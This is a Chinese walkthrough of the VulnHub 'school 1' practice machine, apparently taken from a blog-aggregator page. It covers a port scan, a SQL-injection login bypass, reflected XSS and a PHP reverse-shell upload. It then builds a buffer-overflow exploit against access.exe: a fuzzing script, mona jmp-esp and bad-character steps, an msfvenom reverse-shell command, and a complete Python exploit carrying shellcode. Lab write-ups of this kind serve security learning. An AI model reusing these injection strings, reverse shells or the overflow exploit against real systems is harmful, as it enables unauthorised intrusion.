当前位置:网站首页>vulnhub之school 1
vulnhub之school 1
2022-07-07 17:53:00 【梅_花_七】
目录
6.msf-pattern_create生成2000不同字符
一、存活主机探测

二、服务版本扫描
22,80依旧是常规端口。而23端口则是tcpwrapped,但是呢一般情况下23都是telnet
百度:
NMAP执行结果中,端口状态后经常标记tcpwrapped。tcpwrapped表示服务器运行TCP_Wrappers服务。TCP_Wrappers是一种应用级防火墙。它可以根据预设,对SSH、Telnet、FTP服务的请求进行拦截,判断是否符合预设要求。如果符合,就会转发给对应的服务进程;否则,会中断连接请求。


三、信息收集
针对一个登录框,
1.获取账号密码(爆破,通过源码泄露,弱口令来尝试)
2.尝试注入

永为真注入成功
其实这里不加最后的-也可以,但是空格必须要加,要和后边比对密码拼接上,这样才能注入成功
ss ' or 1=1 -- -
四、后台信息收集
1.反射型的xss
这几个页面都存在xss,但是吧,对我们突破边界没有什么用

上个框框里也有。

2.源码
特别注意javascript和注释里面的内容。这里有个隐藏路径,还有一个上传文件的保存文件夹。

五、文件上传
这里隐藏目录下存在一个文件上传的地方。

1.上传php反弹shell文件

2.再次访问这个页面的就触发了


六、wine
wine:简单来说就是可以在linux上来运行windous的程序。

win的内容:
执行了access.exe文件。
我们把他搞到windous上来调试一下,看看有无漏洞。

七、调试access.exe文件
1.调试工具ImmunityDebugger
自己找官网下载即可
2.下载mona脚本
github上有,下载后放到放到这里。

3.启动进程
提示了有漏洞。


4.写python脚本
主要是看这个程序是否存在缓冲区溢出的漏洞,如果存在缓冲区溢出,那么溢出的位置又在哪里。
#!/usr/bin/python2
import sys,socket
payload='A'*2000
try:
s=socket.socket()
s.connect(('192.168.0.',23))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()5.程序宕机
这也证明了存在缓冲区溢出漏洞。

6.msf-pattern_create生成2000不同字符
msf-pattern_create -l 2000

7.查找位置
8.EIP->ESP
EIP中放入跳入ESP寄存器的地址,ESP寄存器我们放入攻击payload。找到jump ESP的地址
(1)mona查看模块
!mona modules

(2)搜索jump ESP
!mona find -s "\xff\xe4" -m "funcs_access.dll"
Address=625012D0

9.测定坏字符
坏字符会导致我们代码执行的失败,测出来是这几个。
\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f
10.生成shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.109 LPORT=4444 -b '\x00\x4d\x4f\x5f\x79\x7e\x7f' -f c EXITFUNC=thread
11.python的exp
#! /usr/bin/python2
import sys
import socket
try:
shellcode=("\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\xce\x93\x58\xfd\x83\xee\xfc\xe2\xf4\x32\x7b\xda\xfd\xce\x93"
"\x38\x74\x2b\xa2\x98\x99\x45\xc3\x68\x76\x9c\x9f\xd3\xaf\xda"
"\x18\x2a\xd5\xc1\x24\x12\xdb\xff\x6c\xf4\xc1\xaf\xef\x5a\xd1"
"\xee\x52\x97\xf0\xcf\x54\xba\x0f\x9c\xc4\xd3\xaf\xde\x18\x12"
"\xc1\x45\xdf\x49\x85\x2d\xdb\x59\x2c\x9f\x18\x01\xdd\xcf\x40"
"\xd3\xb4\xd6\x70\x62\xb4\x45\xa7\xd3\xfc\x18\xa2\xa7\x51\x0f"
"\x5c\x55\xfc\x09\xab\xb8\x88\x38\x90\x25\x05\xf5\xee\x7c\x88"
"\x2a\xcb\xd3\xa5\xea\x92\x8b\x9b\x45\x9f\x13\x76\x96\x8f\x59"
"\x2e\x45\x97\xd3\xfc\x1e\x1a\x1c\xd9\xea\xc8\x03\x9c\x97\xc9"
"\x09\x02\x2e\xcc\x07\xa7\x45\x81\xb3\x70\x93\xfb\x6b\xcf\xce"
"\x93\x30\x8a\xbd\xa1\x07\xa9\xa6\xdf\x2f\xdb\xc9\x6c\x8d\x45"
"\x5e\x92\x58\xfd\xe7\x57\x0c\xad\xa6\xba\xd8\x96\xce\x6c\x8d"
"\xad\x9e\xc3\x08\xbd\x9e\xd3\x08\x95\x24\x9c\x87\x1d\x31\x46"
"\xcf\x97\xcb\xfb\x98\x55\xce\xff\x30\xff\xce\x82\x04\x74\x28"
"\xf9\x48\xab\x99\xfb\xc1\x58\xba\xf2\xa7\x28\x4b\x53\x2c\xf1"
"\x31\xdd\x50\x88\x22\xfb\xa8\x48\x6c\xc5\xa7\x28\xa6\xf0\x35" "\x99\xce\x1a\xbb\xaa\x99\xc4\x69\x0b\xa4\x81\x01\xab\x2c\x6e"
"\x3e\x3a\x8a\xb7\x64\xfc\xcf\x1e\x1c\xd9\xde\x55\x58\xb9\x9a"
"\xc3\x0e\xab\x98\xd5\x0e\xb3\x98\xc5\x0b\xab\xa6\xea\x94\xc2"
"\x48\x6c\x8d\x74\x2e\xdd\x0e\xbb\x31\xa3\x30\xf5\x49\x8e\x38"
"\x02\x1b\x28\xb8\xe0\xe4\x99\x30\x5b\x5b\x2e\xc5\x02\x1b\xaf"
"\x5e\x81\xc4\x13\xa3\x1d\xbb\x96\xe3\xba\xdd\xe1\x37\x97\xce"
"\xc0\xa7\x28")
payload="A"*1902 + "\xdd\x12\x50\x62" + "\x90"*32 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.109",23))
s.send(payload)
s.close()
print('done')
except:
print('error')八、提权成功
这里Z:/表示win部署的根路径下,这里有我们要找到的第二个flag,未提权时不能查看,
现在可以查看证明提权成功。

边栏推荐
- How to buy stocks on your mobile phone and open an account? Is it safe to open an account
- 开源重器!九章云极DataCanvas公司YLearn因果学习开源项目即将发布!
- [confluence] JVM memory adjustment
- torch. nn. functional. Pad (input, pad, mode= 'constant', value=none) record
- Solve the problem of remote rviz error reporting
- Leetcode force buckle (Sword finger offer 36-39) 36 Binary search tree and bidirectional linked list 37 Serialize binary tree 38 Arrangement of strings 39 Numbers that appear more than half of the tim
- Make insurance more "safe"! Kirin Xin'an one cloud multi-core cloud desktop won the bid of China Life Insurance, helping the innovation and development of financial and insurance information technolog
- 项目经理『面试八问』,看了等于会了
- ASP.NET幼儿园连锁管理系统源码
- 干货分享|DevExpress v22.1原版帮助文档下载集合
猜你喜欢

The strength index of specialized and new software development enterprises was released, and Kirin Xin'an was honored on the list

Kirin Xin'an joins Ningxia commercial cipher Association

【RT-Thread env 工具安装】

PMP每日一练 | 考试不迷路-7.7

ASP.NET幼儿园连锁管理系统源码

Openeuler prize catching activities, to participate in?

【STL】vector

Is PMP beneficial to work? How to choose a reliable platform to make it easier to prepare for the exam!!!

CSDN语法说明

Simulate the implementation of string class
随机推荐
tp6 实现佣金排行榜
小试牛刀之NunJucks模板引擎
【STL】vector
R语言ggplot2可视化:使用ggpubr包的ggdensity函数可视化分组密度图、使用stat_overlay_normal_density函数为每个分组的密度图叠加正太分布曲线
PMP对工作有益吗?怎么选择靠谱平台让备考更省心省力!!!
[sword finger offer] sword finger offer II 012 The sum of left and right subarrays is equal
Is PMP beneficial to work? How to choose a reliable platform to make it easier to prepare for the exam!!!
一张图深入的理解FP/FN/Precision/Recall
ant desgin 多选
R language ggplot2 visualization: use the ggecdf function of ggpubr package to visualize the grouping experience cumulative density distribution function curve, and the linetype parameter to specify t
Automatic classification of defective photovoltaic module cells in electroluminescence images-论文阅读笔记
UCloud是基础云计算服务提供商
[confluence] JVM memory adjustment
Ways to improve the utilization of openeuler resources 01: Introduction
【STL】vector
R language dplyr package mutate_ At function and min_ The rank function calculates the sorting sequence number value and ranking value of the specified data column in the dataframe, and assigns the ra
The state cyberspace Office released the measures for data exit security assessment: 100000 information provided overseas needs to be declared
el-upload上传组件的动态添加;el-upload动态上传文件;el-upload区分文件是哪个组件上传的。
R语言dplyr包select函数、group_by函数、filter函数和do函数获取dataframe中指定因子变量中指定水平中特定数值数据列的值第三大的值
R language uses ggplot2 function to visualize the histogram distribution of counting target variables that need to build Poisson regression model, and analyzes the feasibility of building Poisson regr